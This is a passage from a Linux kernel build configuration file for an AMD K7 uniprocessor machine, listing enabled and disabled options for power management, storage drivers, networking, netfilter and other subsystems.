CONFIG_IOSCHED_CFQ=y # CONFIG_CC_OPTIMIZE_FOR_SIZE is not set # # Loadable module support # CONFIG_MODULES=y CONFIG_MODULE_UNLOAD=y CONFIG_MODULE_FORCE_UNLOAD=y CONFIG_OBSOLETE_MODPARM=y # CONFIG_MODVERSIONS is not set CONFIG_KMOD=y # # Processor type and features # CONFIG_X86_PC=y # CONFIG_X86_ELAN is not set # CONFIG_X86_VOYAGER is not set # CONFIG_X86_NUMAQ is not set # CONFIG_X86_SUMMIT is not set # CONFIG_X86_BIGSMP is not set # CONFIG_X86_VISWS is not set # CONFIG_X86_GENERICARCH is not set # CONFIG_X86_ES7000 is not set # # Processor support # # # Select all processors your kernel should support # # CONFIG_CPU_386 is not set # CONFIG_CPU_486 is not set # CONFIG_CPU_586 is not set # CONFIG_CPU_586TSC is not set # CONFIG_CPU_586MMX is not set # CONFIG_CPU_686 is not set # CONFIG_CPU_PENTIUMII is not set # CONFIG_CPU_PENTIUMIII is not set # CONFIG_CPU_PENTIUMM is not set # CONFIG_CPU_PENTIUM4 is not set # CONFIG_CPU_K6 is not set CONFIG_CPU_K7=y # CONFIG_CPU_K8 is not set # CONFIG_CPU_CRUSOE is not set # CONFIG_CPU_WINCHIPC6 is not set # CONFIG_CPU_WINCHIP2 is not set # CONFIG_CPU_WINCHIP3D is not set # CONFIG_CPU_CYRIXIII is not set # CONFIG_CPU_VIAC3_2 is not set CONFIG_CPU_ONLY_K7=y CONFIG_X86_CMPXCHG=y CONFIG_X86_XADD=y CONFIG_X86_L1_CACHE_SHIFT=6 CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_X86_WP_WORKS_OK=y CONFIG_X86_INVLPG=y CONFIG_X86_BSWAP=y CONFIG_X86_POPAD_OK=y CONFIG_X86_INTEL_USERCOPY=y CONFIG_X86_USE_PPRO_CHECKSUM=y CONFIG_X86_USE_3DNOW=y # CONFIG_X86_4G is not set # CONFIG_X86_SWITCH_PAGETABLES is not set # CONFIG_X86_4G_VM_LAYOUT is not set # CONFIG_X86_UACCESS_INDIRECT is not set # CONFIG_X86_HIGH_ENTRY is not set CONFIG_HPET_TIMER=y # CONFIG_HPET_EMULATE_RTC is not set # CONFIG_SMP is not set CONFIG_PREEMPT=y CONFIG_X86_UP_APIC=y CONFIG_X86_UP_IOAPIC=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y CONFIG_X86_TSC=y CONFIG_X86_MCE=y CONFIG_X86_MCE_NONFATAL=y CONFIG_X86_MCE_P4THERMAL=y CONFIG_TOSHIBA=m CONFIG_I8K=m CONFIG_MICROCODE=m CONFIG_X86_MSR=m CONFIG_X86_CPUID=m CONFIG_EDD=y CONFIG_NOHIGHMEM=y # CONFIG_HIGHMEM4G is not set # CONFIG_HIGHMEM64G is not set # CONFIG_MATH_EMULATION is not set CONFIG_MTRR=y # CONFIG_EFI is not set CONFIG_HAVE_DEC_LOCK=y CONFIG_REGPARM=y # # Power management options (ACPI, APM) # CONFIG_PM=y CONFIG_SOFTWARE_SUSPEND=y CONFIG_PM_DISK=y CONFIG_PM_DISK_PARTITION="/dev/hda2" # # ACPI (Advanced Configuration and Power Interface) Support # CONFIG_ACPI=y CONFIG_ACPI_BOOT=y CONFIG_ACPI_INTERPRETER=y CONFIG_ACPI_SLEEP=y CONFIG_ACPI_SLEEP_PROC_FS=y CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y CONFIG_ACPI_FAN=y CONFIG_ACPI_PROCESSOR=y CONFIG_ACPI_THERMAL=y CONFIG_ACPI_ASUS=m CONFIG_ACPI_TOSHIBA=m # CONFIG_ACPI_DEBUG is not set CONFIG_ACPI_BUS=y CONFIG_ACPI_EC=y CONFIG_ACPI_POWER=y CONFIG_ACPI_PCI=y CONFIG_ACPI_SYSTEM=y CONFIG_ACPI_RELAXED_AML=y CONFIG_X86_PM_TIMER=y # # APM (Advanced Power Management) BIOS Support # CONFIG_APM=y # CONFIG_APM_IGNORE_USER_SUSPEND is not set CONFIG_APM_DO_ENABLE=y CONFIG_APM_CPU_IDLE=y CONFIG_APM_DISPLAY_BLANK=y # CONFIG_APM_RTC_IS_GMT is not set # CONFIG_APM_ALLOW_INTS is not set # CONFIG_APM_REAL_MODE_POWER_OFF is not set # # CPU Frequency scaling # CONFIG_CPU_FREQ=y CONFIG_CPU_FREQ_PROC_INTF=m CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y # CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set CONFIG_CPU_FREQ_GOV_PERFORMANCE=y CONFIG_CPU_FREQ_GOV_POWERSAVE=m CONFIG_CPU_FREQ_GOV_USERSPACE=m CONFIG_CPU_FREQ_24_API=y CONFIG_CPU_FREQ_TABLE=m # # CPUFreq processor drivers # CONFIG_X86_ACPI_CPUFREQ=m CONFIG_X86_ACPI_CPUFREQ_PROC_INTF=y CONFIG_X86_POWERNOW_K6=m CONFIG_X86_POWERNOW_K7=m CONFIG_X86_POWERNOW_K8=m CONFIG_X86_GX_SUSPMOD=m CONFIG_X86_SPEEDSTEP_CENTRINO=m CONFIG_X86_SPEEDSTEP_ICH=m CONFIG_X86_SPEEDSTEP_SMI=m CONFIG_X86_P4_CLOCKMOD=m CONFIG_X86_SPEEDSTEP_LIB=m CONFIG_X86_LONGRUN=m CONFIG_X86_LONGHAUL=m # # Bus options (PCI, PCMCIA, EISA, MCA, ISA) # CONFIG_PCI=y # CONFIG_PCI_GOBIOS is not set # CONFIG_PCI_GODIRECT is not set CONFIG_PCI_GOANY=y CONFIG_PCI_BIOS=y CONFIG_PCI_DIRECT=y CONFIG_PCI_USE_VECTOR=y CONFIG_PCI_LEGACY_PROC=y CONFIG_PCI_NAMES=y CONFIG_ISA=y # CONFIG_EISA is not set # CONFIG_MCA is not set CONFIG_SCx200=m CONFIG_HOTPLUG=y # # PCMCIA/CardBus support # CONFIG_PCMCIA=m CONFIG_PCMCIA_COMPAT=m CONFIG_YENTA=m CONFIG_CARDBUS=y CONFIG_I82092=m CONFIG_I82365=m CONFIG_TCIC=m CONFIG_PCMCIA_PROBE=y # # PCI Hotplug Support # CONFIG_HOTPLUG_PCI=m CONFIG_HOTPLUG_PCI_FAKE=m CONFIG_HOTPLUG_PCI_COMPAQ=m CONFIG_HOTPLUG_PCI_COMPAQ_NVRAM=y CONFIG_HOTPLUG_PCI_IBM=m CONFIG_HOTPLUG_PCI_ACPI=m CONFIG_HOTPLUG_PCI_CPCI=y CONFIG_HOTPLUG_PCI_CPCI_ZT5550=m CONFIG_HOTPLUG_PCI_CPCI_GENERIC=m # # Executable file formats # CONFIG_BINFMT_ELF=y CONFIG_BINFMT_AOUT=m CONFIG_BINFMT_MISC=m # # Device Drivers # # # Generic Driver Options # CONFIG_FW_LOADER=m # # Memory Technology Devices (MTD) # CONFIG_MTD=m # CONFIG_MTD_DEBUG is not set CONFIG_MTD_PARTITIONS=m CONFIG_MTD_CONCAT=m CONFIG_MTD_REDBOOT_PARTS=m CONFIG_MTD_CMDLINE_PARTS=m # # User Modules And Translation Layers # CONFIG_MTD_CHAR=m CONFIG_MTD_BLOCK=m CONFIG_MTD_BLOCK_RO=m CONFIG_FTL=m CONFIG_NFTL=m CONFIG_NFTL_RW=y CONFIG_INFTL=m # # RAM/ROM/Flash chip drivers # CONFIG_MTD_CFI=m CONFIG_MTD_JEDECPROBE=m CONFIG_MTD_GEN_PROBE=m # CONFIG_MTD_CFI_ADV_OPTIONS is not set CONFIG_MTD_CFI_INTELEXT=m CONFIG_MTD_CFI_AMDSTD=m CONFIG_MTD_CFI_STAA=m CONFIG_MTD_RAM=m CONFIG_MTD_ROM=m CONFIG_MTD_ABSENT=m CONFIG_MTD_OBSOLETE_CHIPS=y CONFIG_MTD_AMDSTD=m CONFIG_MTD_SHARP=m CONFIG_MTD_JEDEC=m # # Mapping drivers for chip access # CONFIG_MTD_COMPLEX_MAPPINGS=y CONFIG_MTD_PHYSMAP=m CONFIG_MTD_PHYSMAP_START=0x8000000 CONFIG_MTD_PHYSMAP_LEN=0x4000000 CONFIG_MTD_PHYSMAP_BUSWIDTH=2 CONFIG_MTD_PNC2000=m CONFIG_MTD_SC520CDP=m CONFIG_MTD_NETSC520=m CONFIG_MTD_SBC_GXX=m CONFIG_MTD_ELAN_104NC=m CONFIG_MTD_OCTAGON=m CONFIG_MTD_VMAX=m CONFIG_MTD_SCx200_DOCFLASH=m CONFIG_MTD_AMD76XROM=m CONFIG_MTD_ICH2ROM=m CONFIG_MTD_SCB2_FLASH=m CONFIG_MTD_NETtel=m CONFIG_MTD_DILNETPC=m CONFIG_MTD_DILNETPC_BOOTSIZE=0x80000 CONFIG_MTD_L440GX=m CONFIG_MTD_PCI=m # # Self-contained MTD device drivers # CONFIG_MTD_PMC551=m # CONFIG_MTD_PMC551_BUGFIX is not set # CONFIG_MTD_PMC551_DEBUG is not set CONFIG_MTD_SLRAM=m CONFIG_MTD_MTDRAM=m CONFIG_MTDRAM_TOTAL_SIZE=4096 CONFIG_MTDRAM_ERASE_SIZE=128 CONFIG_MTD_BLKMTD=m # # Disk-On-Chip Device Drivers # CONFIG_MTD_DOC2000=m CONFIG_MTD_DOC2001=m CONFIG_MTD_DOC2001PLUS=m CONFIG_MTD_DOCPROBE=m # CONFIG_MTD_DOCPROBE_ADVANCED is not set CONFIG_MTD_DOCPROBE_ADDRESS=0 # # NAND Flash Device Drivers # CONFIG_MTD_NAND=m CONFIG_MTD_NAND_VERIFY_WRITE=y CONFIG_MTD_NAND_IDS=m # # Parallel port support # CONFIG_PARPORT=m CONFIG_PARPORT_PC=m CONFIG_PARPORT_PC_CML1=m CONFIG_PARPORT_SERIAL=m CONFIG_PARPORT_PC_FIFO=y CONFIG_PARPORT_PC_SUPERIO=y CONFIG_PARPORT_PC_PCMCIA=m # CONFIG_PARPORT_OTHER is not set CONFIG_PARPORT_1284=y # # Plug and Play support # CONFIG_PNP=y # CONFIG_PNP_DEBUG is not set # # Protocols # CONFIG_ISAPNP=y CONFIG_PNPBIOS=y CONFIG_PNPBIOS_PROC_FS=y # # Block devices # CONFIG_BLK_DEV_FD=m CONFIG_BLK_DEV_XD=m CONFIG_PARIDE=m CONFIG_PARIDE_PARPORT=m # # Parallel IDE high-level drivers # CONFIG_PARIDE_PD=m CONFIG_PARIDE_PCD=m CONFIG_PARIDE_PF=m CONFIG_PARIDE_PT=m CONFIG_PARIDE_PG=m # # Parallel IDE protocol modules # CONFIG_PARIDE_ATEN=m CONFIG_PARIDE_BPCK=m CONFIG_PARIDE_BPCK6=m CONFIG_PARIDE_COMM=m CONFIG_PARIDE_DSTR=m CONFIG_PARIDE_FIT2=m CONFIG_PARIDE_FIT3=m CONFIG_PARIDE_EPAT=m CONFIG_PARIDE_EPATC8=y CONFIG_PARIDE_EPIA=m CONFIG_PARIDE_FRIQ=m CONFIG_PARIDE_FRPW=m CONFIG_PARIDE_KBIC=m CONFIG_PARIDE_KTTI=m CONFIG_PARIDE_ON20=m CONFIG_PARIDE_ON26=m CONFIG_BLK_CPQ_DA=m CONFIG_BLK_CPQ_CISS_DA=m CONFIG_CISS_SCSI_TAPE=y CONFIG_BLK_DEV_DAC960=m CONFIG_BLK_DEV_UMEM=m CONFIG_BLK_DEV_LOOP=m CONFIG_BLK_DEV_CRYPTOLOOP=m CONFIG_BLK_DEV_NBD=m CONFIG_BLK_DEV_RAM=m CONFIG_BLK_DEV_RAM_SIZE=4096 CONFIG_BLK_DEV_INITRD=y CONFIG_LBD=y # # ATA/ATAPI/MFM/RLL support # CONFIG_IDE=y CONFIG_BLK_DEV_IDE=y # # Please see Documentation/ide.txt for help/info on IDE drives # # CONFIG_BLK_DEV_HD_IDE is not set CONFIG_BLK_DEV_IDEDISK=y CONFIG_IDEDISK_MULTI_MODE=y CONFIG_IDEDISK_STROKE=y CONFIG_BLK_DEV_IDECS=m CONFIG_BLK_DEV_IDECD=m CONFIG_BLK_DEV_IDETAPE=m CONFIG_BLK_DEV_IDEFLOPPY=m CONFIG_BLK_DEV_IDESCSI=m CONFIG_IDE_TASK_IOCTL=y CONFIG_IDE_TASKFILE_IO=y # # IDE chipset support/bugfixes # CONFIG_BLK_DEV_CMD640=y CONFIG_BLK_DEV_CMD640_ENHANCED=y CONFIG_BLK_DEV_IDEPNP=y CONFIG_BLK_DEV_IDEPCI=y CONFIG_IDEPCI_SHARE_IRQ=y CONFIG_BLK_DEV_OFFBOARD=y CONFIG_BLK_DEV_GENERIC=y CONFIG_BLK_DEV_OPTI621=y CONFIG_BLK_DEV_RZ1000=y CONFIG_BLK_DEV_IDEDMA_PCI=y # CONFIG_BLK_DEV_IDEDMA_FORCED is not set CONFIG_IDEDMA_PCI_AUTO=y # CONFIG_IDEDMA_ONLYDISK is not set CONFIG_IDEDMA_PCI_WIP=y CONFIG_IDEDMA_NEW_DRIVE_LISTINGS=y CONFIG_BLK_DEV_ADMA=y CONFIG_BLK_DEV_AEC62XX=y CONFIG_BLK_DEV_ALI15X3=y # CONFIG_WDC_ALI15X3 is not set CONFIG_BLK_DEV_AMD74XX=y CONFIG_BLK_DEV_CMD64X=y CONFIG_BLK_DEV_TRIFLEX=y CONFIG_BLK_DEV_CY82C693=y CONFIG_BLK_DEV_CS5520=y CONFIG_BLK_DEV_CS5530=y CONFIG_BLK_DEV_HPT34X=y CONFIG_HPT34X_AUTODMA=y CONFIG_BLK_DEV_HPT366=y CONFIG_BLK_DEV_SC1200=y CONFIG_BLK_DEV_PIIX=y CONFIG_BLK_DEV_NS87415=y CONFIG_BLK_DEV_PDC202XX_OLD=y CONFIG_PDC202XX_BURST=y CONFIG_BLK_DEV_PDC202XX_NEW=y CONFIG_PDC202XX_FORCE=y CONFIG_BLK_DEV_SVWKS=y CONFIG_BLK_DEV_SIIMAGE=y CONFIG_BLK_DEV_SIS5513=y CONFIG_BLK_DEV_SLC90E66=y CONFIG_BLK_DEV_TRM290=y CONFIG_BLK_DEV_VIA82CXXX=y # CONFIG_IDE_CHIPSETS is not set CONFIG_BLK_DEV_IDEDMA=y CONFIG_IDEDMA_IVB=y CONFIG_IDEDMA_AUTO=y # CONFIG_DMA_NONPCI is not set # CONFIG_BLK_DEV_HD is not set # # SCSI device support # CONFIG_SCSI=m CONFIG_SCSI_PROC_FS=y # # SCSI support type (disk, tape, CD-ROM) # CONFIG_BLK_DEV_SD=m CONFIG_MAX_SD_DISKS=256 CONFIG_CHR_DEV_ST=m CONFIG_CHR_DEV_OSST=m CONFIG_BLK_DEV_SR=m CONFIG_BLK_DEV_SR_VENDOR=y CONFIG_CHR_DEV_SG=m # # Some SCSI devices (e.g. CD jukebox) support multiple LUNs # CONFIG_SCSI_MULTI_LUN=y CONFIG_SCSI_REPORT_LUNS=y CONFIG_SCSI_CONSTANTS=y CONFIG_SCSI_LOGGING=y # # SCSI low-level drivers # CONFIG_BLK_DEV_3W_XXXX_RAID=m CONFIG_SCSI_7000FASST=m CONFIG_SCSI_ACARD=m CONFIG_SCSI_AHA152X=m CONFIG_SCSI_AHA1542=m CONFIG_SCSI_AACRAID=m CONFIG_SCSI_AIC7XXX=m CONFIG_AIC7XXX_CMDS_PER_DEVICE=32 CONFIG_AIC7XXX_RESET_DELAY_MS=15000 # CONFIG_AIC7XXX_BUILD_FIRMWARE is not set # CONFIG_AIC7XXX_DEBUG_ENABLE is not set CONFIG_AIC7XXX_DEBUG_MASK=0 CONFIG_AIC7XXX_REG_PRETTY_PRINT=y CONFIG_SCSI_AIC7XXX_OLD=m CONFIG_SCSI_AIC79XX=m CONFIG_AIC79XX_CMDS_PER_DEVICE=32 CONFIG_AIC79XX_RESET_DELAY_MS=15000 # CONFIG_AIC79XX_BUILD_FIRMWARE is not set # CONFIG_AIC79XX_ENABLE_RD_STRM is not set # CONFIG_AIC79XX_DEBUG_ENABLE is not set CONFIG_AIC79XX_DEBUG_MASK=0 CONFIG_AIC79XX_REG_PRETTY_PRINT=y CONFIG_SCSI_ADVANSYS=m CONFIG_SCSI_IN2000=m CONFIG_SCSI_MEGARAID=m CONFIG_SCSI_SATA=y CONFIG_SCSI_SATA_SVW=m CONFIG_SCSI_ATA_PIIX=m CONFIG_SCSI_SATA_PROMISE=m CONFIG_SCSI_SATA_VIA=m CONFIG_SCSI_BUSLOGIC=m # CONFIG_SCSI_OMIT_FLASHPOINT is not set CONFIG_SCSI_CPQFCTS=m CONFIG_SCSI_DMX3191D=m CONFIG_SCSI_DTC3280=m CONFIG_SCSI_EATA=m CONFIG_SCSI_EATA_TAGGED_QUEUE=y CONFIG_SCSI_EATA_LINKED_COMMANDS=y CONFIG_SCSI_EATA_MAX_TAGS=16 CONFIG_SCSI_EATA_PIO=m CONFIG_SCSI_FUTURE_DOMAIN=m CONFIG_SCSI_GDTH=m CONFIG_SCSI_GENERIC_NCR5380=m CONFIG_SCSI_GENERIC_NCR5380_MMIO=m CONFIG_SCSI_GENERIC_NCR53C400=y CONFIG_SCSI_IPS=m CONFIG_SCSI_INIA100=m CONFIG_SCSI_PPA=m CONFIG_SCSI_IMM=m # CONFIG_SCSI_IZIP_EPP16 is not set # CONFIG_SCSI_IZIP_SLOW_CTR is not set CONFIG_SCSI_NCR53C406A=m CONFIG_SCSI_SYM53C8XX_2=m CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1 CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16 CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64 # CONFIG_SCSI_SYM53C8XX_IOMAPPED is not set CONFIG_SCSI_PAS16=m CONFIG_SCSI_PSI240I=m CONFIG_SCSI_QLOGIC_FAS=m CONFIG_SCSI_QLOGIC_ISP=m CONFIG_SCSI_QLOGIC_FC=m CONFIG_SCSI_QLOGIC_FC_FIRMWARE=y CONFIG_SCSI_QLOGIC_1280=m CONFIG_SCSI_QLA2XXX_CONFIG=m CONFIG_SCSI_QLA2XXX=m CONFIG_SCSI_QLA21XX=m CONFIG_SCSI_QLA22XX=m CONFIG_SCSI_QLA23XX=m CONFIG_SCSI_SYM53C416=m CONFIG_SCSI_DC395x=m CONFIG_SCSI_DC390T=m # CONFIG_SCSI_DC390T_NOGENSUPP is not set CONFIG_SCSI_T128=m CONFIG_SCSI_U14_34F=m CONFIG_SCSI_U14_34F_TAGGED_QUEUE=y CONFIG_SCSI_U14_34F_LINKED_COMMANDS=y CONFIG_SCSI_U14_34F_MAX_TAGS=8 CONFIG_SCSI_ULTRASTOR=m CONFIG_SCSI_NSP32=m CONFIG_SCSI_DEBUG=m # # PCMCIA SCSI adapter support # CONFIG_PCMCIA_AHA152X=m CONFIG_PCMCIA_FDOMAIN=m CONFIG_PCMCIA_NINJA_SCSI=m CONFIG_PCMCIA_QLOGIC=m # # Old CD-ROM drivers (not SCSI, not IDE) # CONFIG_CD_NO_IDESCSI=y CONFIG_AZTCD=m CONFIG_GSCD=m CONFIG_SBPCD=m CONFIG_MCD=m CONFIG_MCD_IRQ=11 CONFIG_MCD_BASE=0x300 CONFIG_MCDX=m CONFIG_OPTCD=m CONFIG_CM206=m CONFIG_SJCD=m CONFIG_ISP16_CDI=m CONFIG_CDU31A=m CONFIG_CDU535=m # # Multi-device support (RAID and LVM) # CONFIG_MD=y CONFIG_BLK_DEV_MD=m CONFIG_MD_LINEAR=m CONFIG_MD_RAID0=m CONFIG_MD_RAID1=m CONFIG_MD_RAID5=m CONFIG_MD_RAID6=m CONFIG_MD_MULTIPATH=m CONFIG_BLK_DEV_DM=m CONFIG_DM_IOCTL_V4=y # # Fusion MPT device support # CONFIG_FUSION=m CONFIG_FUSION_MAX_SGE=40 CONFIG_FUSION_ISENSE=m CONFIG_FUSION_CTL=m CONFIG_FUSION_LAN=m # # IEEE 1394 (FireWire) support (EXPERIMENTAL) # CONFIG_IEEE1394=m # # Subsystem Options # # CONFIG_IEEE1394_VERBOSEDEBUG is not set CONFIG_IEEE1394_OUI_DB=y # # Device Drivers # CONFIG_IEEE1394_PCILYNX=m CONFIG_IEEE1394_OHCI1394=m # # Protocol Drivers # CONFIG_IEEE1394_VIDEO1394=m CONFIG_IEEE1394_SBP2=m CONFIG_IEEE1394_SBP2_PHYS_DMA=y CONFIG_IEEE1394_ETH1394=m CONFIG_IEEE1394_DV1394=m CONFIG_IEEE1394_RAWIO=m CONFIG_IEEE1394_CMP=m CONFIG_IEEE1394_AMDTP=m # # I2O device support # CONFIG_I2O=m CONFIG_I2O_PCI=m CONFIG_I2O_BLOCK=m CONFIG_I2O_SCSI=m CONFIG_I2O_PROC=m # # Networking support # CONFIG_NET=y # # Networking options # CONFIG_PACKET=m CONFIG_PACKET_MMAP=y CONFIG_NETLINK_DEV=m CONFIG_UNIX=m CONFIG_NET_KEY=m CONFIG_INET=y CONFIG_IP_MULTICAST=y CONFIG_IP_ADVANCED_ROUTER=y CONFIG_IP_MULTIPLE_TABLES=y CONFIG_IP_ROUTE_FWMARK=y CONFIG_IP_ROUTE_NAT=y CONFIG_IP_ROUTE_MULTIPATH=y CONFIG_IP_ROUTE_TOS=y CONFIG_IP_ROUTE_VERBOSE=y CONFIG_IP_PNP=y CONFIG_IP_PNP_DHCP=y CONFIG_IP_PNP_BOOTP=y CONFIG_IP_PNP_RARP=y CONFIG_NET_IPIP=m CONFIG_NET_IPGRE=m CONFIG_NET_IPGRE_BROADCAST=y CONFIG_IP_MROUTE=y CONFIG_IP_PIMSM_V1=y CONFIG_IP_PIMSM_V2=y CONFIG_ARPD=y CONFIG_INET_ECN=y CONFIG_SYN_COOKIES=y CONFIG_INET_AH=m CONFIG_INET_ESP=m CONFIG_INET_IPCOMP=m # # IP: Virtual Server Configuration # CONFIG_IP_VS=m # CONFIG_IP_VS_DEBUG is not set CONFIG_IP_VS_TAB_BITS=12 # # IPVS transport protocol load balancing support # CONFIG_IP_VS_PROTO_TCP=y CONFIG_IP_VS_PROTO_UDP=y CONFIG_IP_VS_PROTO_ESP=y CONFIG_IP_VS_PROTO_AH=y # # IPVS scheduler # CONFIG_IP_VS_RR=m CONFIG_IP_VS_WRR=m CONFIG_IP_VS_LC=m CONFIG_IP_VS_WLC=m CONFIG_IP_VS_LBLC=m CONFIG_IP_VS_LBLCR=m CONFIG_IP_VS_DH=m CONFIG_IP_VS_SH=m CONFIG_IP_VS_SED=m CONFIG_IP_VS_NQ=m # # IPVS application helper # CONFIG_IP_VS_FTP=m CONFIG_IPV6=m CONFIG_IPV6_PRIVACY=y CONFIG_INET6_AH=m CONFIG_INET6_ESP=m CONFIG_INET6_IPCOMP=m CONFIG_IPV6_TUNNEL=m CONFIG_DECNET=m # CONFIG_DECNET_SIOCGIFCONF is not set CONFIG_DECNET_ROUTER=y CONFIG_DECNET_ROUTE_FWMARK=y CONFIG_BRIDGE=m CONFIG_NETFILTER=y # CONFIG_NETFILTER_DEBUG is not set CONFIG_BRIDGE_NETFILTER=y # # IP: Netfilter Configuration # CONFIG_IP_NF_CONNTRACK=m CONFIG_IP_NF_FTP=m CONFIG_IP_NF_IRC=m CONFIG_IP_NF_TFTP=m CONFIG_IP_NF_AMANDA=m CONFIG_IP_NF_QUEUE=m CONFIG_IP_NF_IPTABLES=m CONFIG_IP_NF_MATCH_LIMIT=m CONFIG_IP_NF_MATCH_IPRANGE=m CONFIG_IP_NF_MATCH_MAC=m CONFIG_IP_NF_MATCH_PKTTYPE=m CONFIG_IP_NF_MATCH_MARK=m CONFIG_IP_NF_MATCH_MULTIPORT=m CONFIG_IP_NF_MATCH_TOS=m CONFIG_IP_NF_MATCH_RECENT=m CONFIG_IP_NF_MATCH_ECN=m CONFIG_IP_NF_MATCH_DSCP=m CONFIG_IP_NF_MATCH_AH_ESP=m CONFIG_IP_NF_MATCH_LENGTH=m CONFIG_IP_NF_MATCH_TTL=m CONFIG_IP_NF_MATCH_TCPMSS=m CONFIG_IP_NF_MATCH_HELPER=m CONFIG_IP_NF_MATCH_STATE=m CONFIG_IP_NF_MATCH_CONNTRACK=m CONFIG_IP_NF_MATCH_OWNER=m CONFIG_IP_NF_MATCH_PHYSDEV=m CONFIG_IP_NF_FILTER=m CONFIG_IP_NF_TARGET_REJECT=m CONFIG_IP_NF_NAT=m CONFIG_IP_NF_NAT_NEEDED=y CONFIG_IP_NF_TARGET_MASQUERADE=m CONFIG_IP_NF_TARGET_REDIRECT=m CONFIG_IP_NF_TARGET_NETMAP=m CONFIG_IP_NF_TARGET_SAME=m CONFIG_IP_NF_NAT_LOCAL=y CONFIG_IP_NF_NAT_SNMP_BASIC=m CONFIG_IP_NF_NAT_IRC=m CONFIG_IP_NF_NAT_FTP=m CONFIG_IP_NF_NAT_TFTP=m CONFIG_IP_NF_NAT_AMANDA=m CONFIG_IP_NF_MANGLE=m CONFIG_IP_NF_TARGET_TOS=m CONFIG_IP_NF_TARGET_ECN=m CONFIG_IP_NF_TARGET_DSCP=m CONFIG_IP_NF_TARGET_MARK=m CONFIG_IP_NF_TARGET_CLASSIFY=m CONFIG_IP_NF_TARGET_LOG=m CONFIG_IP_NF_TARGET_ULOG=m CONFIG_IP_NF_TARGET_TCPMSS=m CONFIG_IP_NF_ARPTABLES=m CONFIG_IP_NF_ARPFILTER=m CONFIG_IP_NF_ARP_MANGLE=m CONFIG_IP_NF_COMPAT_IPCHAINS=m CONFIG_IP_NF_COMPAT_IPFWADM=m # # IPv6: Netfilter Configuration # CONFIG_IP6_NF_QUEUE=m CONFIG_IP6_NF_IPTABLES=m CONFIG_IP6_NF_MATCH_LIMIT=m CONFIG_IP6_NF_MATCH_MAC=m CONFIG_IP6_NF_MATCH_RT=m CONFIG_IP6_NF_MATCH_OPTS=m CONFIG_IP6_NF_MATCH_FRAG=m CONFIG_IP6_NF_MATCH_HL=m CONFIG_IP6_NF_MATCH_MULTIPORT=m CONFIG_IP6_NF_MATCH_OWNER=m CONFIG_IP6_NF_MATCH_MARK=m CONFIG_IP6_NF_MATCH_IPV6HEADER=m CONFIG_IP6_NF_MATCH_AHESP=m CONFIG_IP6_NF_MATCH_LENGTH=m CONFIG_IP6_NF_MATCH_EUI64=m CONFIG_IP6_NF_FILTER=m CONFIG_IP6_NF_TARGET_LOG=m CONFIG_IP6_NF_MANGLE=m CONFIG_IP6_NF_TARGET_MARK=m # # DECnet: Netfilter Configuration # CONFIG_DECNET_NF_GRABULATOR=m # # Bridge: Netfilter Configuration # CONFIG_BRIDGE_NF_EBTABLES=m CONFIG_BRIDGE_EBT_BROUTE=m CONFIG_BRIDGE_EBT_T_FILTER=m CONFIG_BRIDGE_EBT_T_NAT=m CONFIG_BRIDGE_EBT_802_3=m CONFIG_BRIDGE_EBT_AMONG=m CONFIG_BRIDGE_EBT_ARP=m CONFIG_BRIDGE_EBT_IP=m CONFIG_BRIDGE_EBT_LIMIT=m CONFIG_BRIDGE_EBT_MARK=m CONFIG_BRIDGE_EBT_PKTTYPE=m CONFIG_BRIDGE_EBT_STP=m CONFIG_BRIDGE_EBT_VLAN=m CONFIG_BRIDGE_EBT_ARPREPLY=m CONFIG_BRIDGE_EBT_DNAT=m CONFIG_BRIDGE_EBT_MARK_T=m CONFIG_BRIDGE_EBT_REDIRECT=m CONFIG_BRIDGE_EBT_SNAT=m CONFIG_BRIDGE_EBT_LOG=m CONFIG_XFRM=y CONFIG_XFRM_USER=m # # SCTP Configuration (EXPERIMENTAL) # CONFIG_IPV6_SCTP__=m CONFIG_IP_SCTP=m # CONFIG_SCTP_ADLER32 is not set # CONFIG_SCTP_DBG_MSG is not set # CONFIG_SCTP_DBG_OBJCNT is not set # CONFIG_SCTP_HMAC_NONE is not set # CONFIG_SCTP_HMAC_SHA1 is not set CONFIG_SCTP_HMAC_MD5=y CONFIG_ATM=m CONFIG_ATM_CLIP=m CONFIG_ATM_CLIP_NO_ICMP=y CONFIG_ATM_LANE=m CONFIG_ATM_MPOA=m CONFIG_ATM_BR2684=m # CONFIG_ATM_BR2684_IPFILTER is not set CONFIG_VLAN_8021Q=m CONFIG_LLC=y CONFIG_LLC2=m CONFIG_IPX=m # CONFIG_IPX_INTERN is not set CONFIG_ATALK=m CONFIG_DEV_APPLETALK=y CONFIG_LTPC=m CONFIG_COPS=m CONFIG_COPS_DAYNA=y CONFIG_COPS_TANGENT=y CONFIG_IPDDP=m CONFIG_IPDDP_ENCAP=y CONFIG_IPDDP_DECAP=y CONFIG_X25=m CONFIG_LAPB=m CONFIG_NET_DIVERT=y CONFIG_ECONET=m CONFIG_ECONET_AUNUDP=y CONFIG_ECONET_NATIVE=y CONFIG_WAN_ROUTER=m # CONFIG_NET_FASTROUTE is not set # CONFIG_NET_HW_FLOWCONTROL is not set # # QoS and/or fair queueing # CONFIG_NET_SCHED=y CONFIG_NET_SCH_CBQ=m CONFIG_NET_SCH_HTB=m CONFIG_NET_SCH_CSZ=m CONFIG_NET_SCH_ATM=m CONFIG_NET_SCH_PRIO=m CONFIG_NET_SCH_RED=m CONFIG_NET_SCH_SFQ=m CONFIG_NET_SCH_TEQL=m CONFIG_NET_SCH_TBF=m CONFIG_NET_SCH_GRED=m CONFIG_NET_SCH_DSMARK=m CONFIG_NET_SCH_INGRESS=m CONFIG_NET_QOS=y CONFIG_NET_ESTIMATOR=y CONFIG_NET_CLS=y CONFIG_NET_CLS_TCINDEX=m CONFIG_NET_CLS_ROUTE4=m CONFIG_NET_CLS_ROUTE=y CONFIG_NET_CLS_FW=m CONFIG_NET_CLS_U32=m CONFIG_NET_CLS_RSVP=m CONFIG_NET_CLS_RSVP6=m CONFIG_NET_CLS_POLICE=y # # Network testing # CONFIG_NET_PKTGEN=m CONFIG_NETDEVICES=y # # ARCnet devices # CONFIG_ARCNET=m CONFIG_ARCNET_1201=m 